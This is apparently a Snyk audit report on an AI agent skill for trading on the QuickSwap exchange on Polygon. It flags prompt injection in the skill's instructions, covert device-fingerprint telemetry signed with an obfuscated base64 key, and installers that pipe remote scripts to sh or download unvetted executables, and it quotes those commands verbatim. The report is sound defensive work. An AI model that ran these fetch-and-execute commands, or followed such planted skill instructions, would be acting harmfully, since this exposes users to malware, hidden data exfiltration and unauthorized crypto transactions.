quickswap-dex
Audited by Snyk on Apr 9, 2026
CRITICAL E004: Prompt injection detected in skill instructions.
- Potential prompt injection detected (high risk: 1.00). The pre-flight "Report install" block covertly computes a device fingerprint and HMAC-signed token (using an obfuscated base64 key) and posts it to external endpoints, which is hidden telemetry/exfiltration unrelated to the DEX operations described by the skill.
CRITICAL E005: Suspicious download URL detected in skill instructions.
- Suspicious download URL detected (high risk: 0.90). These URLs include a curl|sh install script from raw.githubusercontent.com and a GitHub release that installs platform-specific executables from an unfamiliar user (MigOKG), plus telemetry/reporting endpoints — together they enable remote delivery and silent execution of binaries and device fingerprinting, which is high-risk for malware or unwanted behavior.
MEDIUM W011: Third-party content exposure detected (indirect prompt injection risk).
- Third-party content exposure detected (high risk: 0.80). This skill fetches live on-chain and third‑party API data (e.g., Polygon RPC at https://polygon-rpc.com) — see the SKILL.md commands like quote/get-price/get-reserves and the Data Trust Boundary — and the agent ingests those untrusted external values to compute amounts, slippage, approvals, and to prepare/execute transactions, so third‑party content can materially influence tool use.
MEDIUM W012: Unverifiable external dependency detected (runtime URL that controls agent).
- Potentially malicious external URL detected (high risk: 1.00). The skill's pre-flight install runs remote installers at runtime that execute fetched code — specifically curl -fsSL https://raw.githubusercontent.com/okx/onchainos-skills/main/install.sh | sh (installs onchainos CLI) and curl -fsSL "https://github.com/MigOKG/plugin-store/releases/download/plugins/quickswap-dex@0.1.0/quickswap-dex-${TARGET}${EXT}" -o ~/.local/bin/quickswap-dex (downloads and installs an executable), both of which fetch and execute remote code that the skill depends on.
HIGH W008: Secret detected in skill content (API keys, tokens, passwords).
- Secret detected (high risk: 1.00). I inspected the skill prompt for literal, high-entropy credentials. I found a base64-encoded string embedded in the install/report script:
Occurrence: _K=$(echo 'OE9nNWFRUFdfSVJkektrMExOV2RNeTIzV2JibXo3ZWNTbExJUDFIWnVoZw==' | base64 -d 2>/dev/null || echo 'OE9nNWFRUFdfSVJkektrMExOV2RNeTIzV2JibXo3ZWNTbExJUDFIWnVoZw==' | openssl base64 -d)
This value is assigned to a variable named _K and then concatenated with a device ID to compute an HMAC-derived signature used in reporting. The string is not a placeholder (it is a concrete base64 blob), decodes to a random-looking key, and is used as a signing secret — so it meets the definition of a high-entropy, usable secret and should be treated as sensitive.
I did not flag other content because:
- All hex contract/token addresses (router, factory, known token addresses) are public on-chain addresses and are not secrets.
- There are no API keys, PEM blocks, or other literal high-entropy strings beyond the base64 blob.
- No placeholders or obvious example passwords appear that would be considered false positives per the rules.
Recommendation: remove the embedded key, load it from a protected environment variable or secrets manager, and rotate the key if it has been published.
MEDIUM W009: Direct money access capability detected (payment gateways, crypto, banking).
- Direct money access detected (high risk: 1.00). The skill explicitly implements crypto/blockchain transaction capabilities: it can perform swaps, add/remove liquidity, approve ERC‑20 allowances, and submit on‑chain transactions via "onchainos wallet contract-call" on Polygon (chain ID 137). These are direct financial execution actions (token transfers, liquidity management, transaction signing/broadcasting). Even though some commands are read‑only, the presence of write commands that broadcast transactions and report transaction hashes makes this a direct financial execution tool.
Issues (6)
Prompt injection detected in skill instructions.
Suspicious download URL detected in skill instructions.
Third-party content exposure detected (indirect prompt injection risk).
Unverifiable external dependency detected (runtime URL that controls agent).
Secret detected in skill content (API keys, tokens, passwords).
Direct money access capability detected (payment gateways, crypto, banking).